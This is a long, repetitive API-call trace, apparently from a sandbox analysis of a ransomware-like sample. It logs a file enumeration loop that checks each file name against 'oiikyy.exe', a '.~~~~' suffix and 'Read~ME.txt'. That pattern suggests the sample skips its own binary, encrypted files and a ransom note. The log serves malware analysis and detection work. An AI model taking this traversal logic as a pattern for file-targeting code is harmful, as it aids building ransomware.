	[0083.246] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1
	[0083.246] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="Windows") returned -1
	[0083.246] lstrcmpW (lpString1="BS01603_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.246] StrStrW (lpFirst="BS01603_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.246] lstrcmpW (lpString1="BS01603_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.246] GetCurrentThreadId () returned 0x618
	[0083.246] RtlWakeConditionVariable () returned 0x365f48
	[0083.246] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1
	[0083.246] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="Windows") returned -1
	[0083.246] lstrcmpW (lpString1="BS01634_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.246] StrStrW (lpFirst="BS01634_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.246] lstrcmpW (lpString1="BS01634_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.246] GetCurrentThreadId () returned 0x618
	[0083.246] RtlWakeConditionVariable () returned 0x365f48
	[0083.246] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1
	[0083.246] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="Windows") returned -1
	[0083.246] lstrcmpW (lpString1="BS01635_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.246] StrStrW (lpFirst="BS01635_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.247] lstrcmpW (lpString1="BS01635_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.247] GetCurrentThreadId () returned 0x618
	[0083.247] RtlWakeConditionVariable () returned 0x365f48
	[0083.247] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1
	[0083.325] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="Windows") returned -1
	[0083.325] lstrcmpW (lpString1="BS01636_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.325] StrStrW (lpFirst="BS01636_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.326] lstrcmpW (lpString1="BS01636_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.326] GetCurrentThreadId () returned 0x618
	[0083.326] RtlWakeConditionVariable () returned 0x365f48
	[0083.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1
	[0083.327] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="Windows") returned -1
	[0083.327] lstrcmpW (lpString1="BS01637_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.327] StrStrW (lpFirst="BS01637_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.327] lstrcmpW (lpString1="BS01637_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.327] GetCurrentThreadId () returned 0x618
	[0083.327] RtlWakeConditionVariable () returned 0x365f48
	[0083.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1
	[0083.327] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="Windows") returned -1
	[0083.327] lstrcmpW (lpString1="BS01638_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.327] StrStrW (lpFirst="BS01638_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.327] lstrcmpW (lpString1="BS01638_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.327] GetCurrentThreadId () returned 0x618
	[0083.327] RtlWakeConditionVariable () returned 0x365f48
	[0083.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1
	[0083.327] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="Windows") returned -1
	[0083.327] lstrcmpW (lpString1="BS01639_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.327] StrStrW (lpFirst="BS01639_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.327] lstrcmpW (lpString1="BS01639_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.327] GetCurrentThreadId () returned 0x618
	[0083.328] RtlWakeConditionVariable () returned 0x365f48
	[0083.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1
	[0083.328] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="Windows") returned -1
	[0083.328] lstrcmpW (lpString1="CARBN_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.328] StrStrW (lpFirst="CARBN_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.328] lstrcmpW (lpString1="CARBN_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.328] GetCurrentThreadId () returned 0x618
	[0083.328] RtlWakeConditionVariable () returned 0x365f48
	[0083.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1
	[0083.328] lstrcmpiW (lpString1="CG1606.WMF", lpString2="Windows") returned -1
	[0083.328] lstrcmpW (lpString1="CG1606.WMF", lpString2="oiikyy.exe") returned -1
	[0083.328] StrStrW (lpFirst="CG1606.WMF", lpSrch=".~~~~") returned 0x0
	[0083.328] lstrcmpW (lpString1="CG1606.WMF", lpString2="Read~ME.txt") returned -1
	[0083.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.328] GetCurrentThreadId () returned 0x618
	[0083.328] RtlWakeConditionVariable () returned 0x365f48
	[0083.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1
	[0083.328] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="Windows") returned -1
	[0083.329] lstrcmpW (lpString1="CLASSIC1.WMF", lpString2="oiikyy.exe") returned -1
	[0083.329] StrStrW (lpFirst="CLASSIC1.WMF", lpSrch=".~~~~") returned 0x0
	[0083.329] lstrcmpW (lpString1="CLASSIC1.WMF", lpString2="Read~ME.txt") returned -1
	[0083.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.329] GetCurrentThreadId () returned 0x618
	[0083.329] RtlWakeConditionVariable () returned 0x365f48
	[0083.329] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1
	[0083.329] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="Windows") returned -1
	[0083.329] lstrcmpW (lpString1="CLASSIC2.WMF", lpString2="oiikyy.exe") returned -1
	[0083.329] StrStrW (lpFirst="CLASSIC2.WMF", lpSrch=".~~~~") returned 0x0
	[0083.329] lstrcmpW (lpString1="CLASSIC2.WMF", lpString2="Read~ME.txt") returned -1
	[0083.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.329] GetCurrentThreadId () returned 0x618
	[0083.329] RtlWakeConditionVariable () returned 0x365f48
	[0083.329] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1
	[0083.329] lstrcmpiW (lpString1="CLIP.WMF", lpString2="Windows") returned -1
	[0083.329] lstrcmpW (lpString1="CLIP.WMF", lpString2="oiikyy.exe") returned -1
	[0083.329] StrStrW (lpFirst="CLIP.WMF", lpSrch=".~~~~") returned 0x0
	[0083.329] lstrcmpW (lpString1="CLIP.WMF", lpString2="Read~ME.txt") returned -1
	[0083.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0083.329] GetCurrentThreadId () returned 0x618
	[0083.329] RtlWakeConditionVariable () returned 0x365f48
	[0083.329] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1
	[0083.330] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="Windows") returned -1
	[0083.330] lstrcmpW (lpString1="CMNTY_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.330] StrStrW (lpFirst="CMNTY_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.330] lstrcmpW (lpString1="CMNTY_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.330] GetCurrentThreadId () returned 0x618
	[0083.330] RtlWakeConditionVariable () returned 0x365f48
	[0083.330] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1
	[0083.330] lstrcmpiW (lpString1="CRANE.WMF", lpString2="Windows") returned -1
	[0083.330] lstrcmpW (lpString1="CRANE.WMF", lpString2="oiikyy.exe") returned -1
	[0083.330] StrStrW (lpFirst="CRANE.WMF", lpSrch=".~~~~") returned 0x0
	[0083.330] lstrcmpW (lpString1="CRANE.WMF", lpString2="Read~ME.txt") returned -1
	[0083.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.330] GetCurrentThreadId () returned 0x618
	[0083.330] RtlWakeConditionVariable () returned 0x365f48
	[0083.330] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1
	[0083.330] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="Windows") returned -1
	[0083.330] lstrcmpW (lpString1="CRANINST.WMF", lpString2="oiikyy.exe") returned -1
	[0083.330] StrStrW (lpFirst="CRANINST.WMF", lpSrch=".~~~~") returned 0x0
	[0083.330] lstrcmpW (lpString1="CRANINST.WMF", lpString2="Read~ME.txt") returned -1
	[0083.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.330] GetCurrentThreadId () returned 0x618
	[0083.330] RtlWakeConditionVariable () returned 0x365f48
	[0083.331] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1
	[0083.331] lstrcmpiW (lpString1="CUP.WMF", lpString2="Windows") returned -1
	[0083.331] lstrcmpW (lpString1="CUP.WMF", lpString2="oiikyy.exe") returned -1
	[0083.331] StrStrW (lpFirst="CUP.WMF", lpSrch=".~~~~") returned 0x0
	[0083.331] lstrcmpW (lpString1="CUP.WMF", lpString2="Read~ME.txt") returned -1
	[0083.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0083.331] GetCurrentThreadId () returned 0x618
	[0083.331] RtlWakeConditionVariable () returned 0x365f48
	[0083.331] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1
	[0083.331] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="Windows") returned -1
	[0083.331] lstrcmpW (lpString1="CUPINST.WMF", lpString2="oiikyy.exe") returned -1
	[0083.331] StrStrW (lpFirst="CUPINST.WMF", lpSrch=".~~~~") returned 0x0
	[0083.331] lstrcmpW (lpString1="CUPINST.WMF", lpString2="Read~ME.txt") returned -1
	[0083.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.331] GetCurrentThreadId () returned 0x618
	[0083.331] RtlWakeConditionVariable () returned 0x365f48
	[0083.331] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1
	[0083.331] lstrcmpiW (lpString1="DD00117_.WMF", lpString2="Windows") returned -1
	[0083.331] lstrcmpW (lpString1="DD00117_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.331] StrStrW (lpFirst="DD00117_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.331] lstrcmpW (lpString1="DD00117_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.331] GetCurrentThreadId () returned 0x618
	[0083.332] RtlWakeConditionVariable () returned 0x365f48
	[0083.332] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1
	[0083.332] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="Windows") returned -1
	[0083.332] lstrcmpW (lpString1="DD00121_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.332] StrStrW (lpFirst="DD00121_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.332] lstrcmpW (lpString1="DD00121_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.332] GetCurrentThreadId () returned 0x618
	[0083.332] RtlWakeConditionVariable () returned 0x365f48
	[0083.332] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1
	[0083.332] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="Windows") returned -1
	[0083.332] lstrcmpW (lpString1="DD00234_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.332] StrStrW (lpFirst="DD00234_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.332] lstrcmpW (lpString1="DD00234_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.332] GetCurrentThreadId () returned 0x618
	[0083.332] RtlWakeConditionVariable () returned 0x365f48
	[0083.332] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1
	[0083.332] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="Windows") returned -1
	[0083.332] lstrcmpW (lpString1="DD00255_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.332] StrStrW (lpFirst="DD00255_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.332] lstrcmpW (lpString1="DD00255_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.332] GetCurrentThreadId () returned 0x618
	[0083.333] RtlWakeConditionVariable () returned 0x365f48
	[0083.333] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1
	[0083.333] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="Windows") returned -1
	[0083.333] lstrcmpW (lpString1="DD00256_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.333] StrStrW (lpFirst="DD00256_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.333] lstrcmpW (lpString1="DD00256_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.333] GetCurrentThreadId () returned 0x618
	[0083.333] RtlWakeConditionVariable () returned 0x365f48
	[0083.333] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1
	[0083.333] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="Windows") returned -1
	[0083.333] lstrcmpW (lpString1="DD00261_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.333] StrStrW (lpFirst="DD00261_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.333] lstrcmpW (lpString1="DD00261_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.333] GetCurrentThreadId () returned 0x618
	[0083.333] RtlWakeConditionVariable () returned 0x365f48
	[0083.333] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1
	[0083.333] lstrcmpiW (lpString1="DD00297_.WMF", lpString2="Windows") returned -1
	[0083.333] lstrcmpW (lpString1="DD00297_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.333] StrStrW (lpFirst="DD00297_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.333] lstrcmpW (lpString1="DD00297_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.334] GetCurrentThreadId () returned 0x618
	[0083.334] RtlWakeConditionVariable () returned 0x365f48
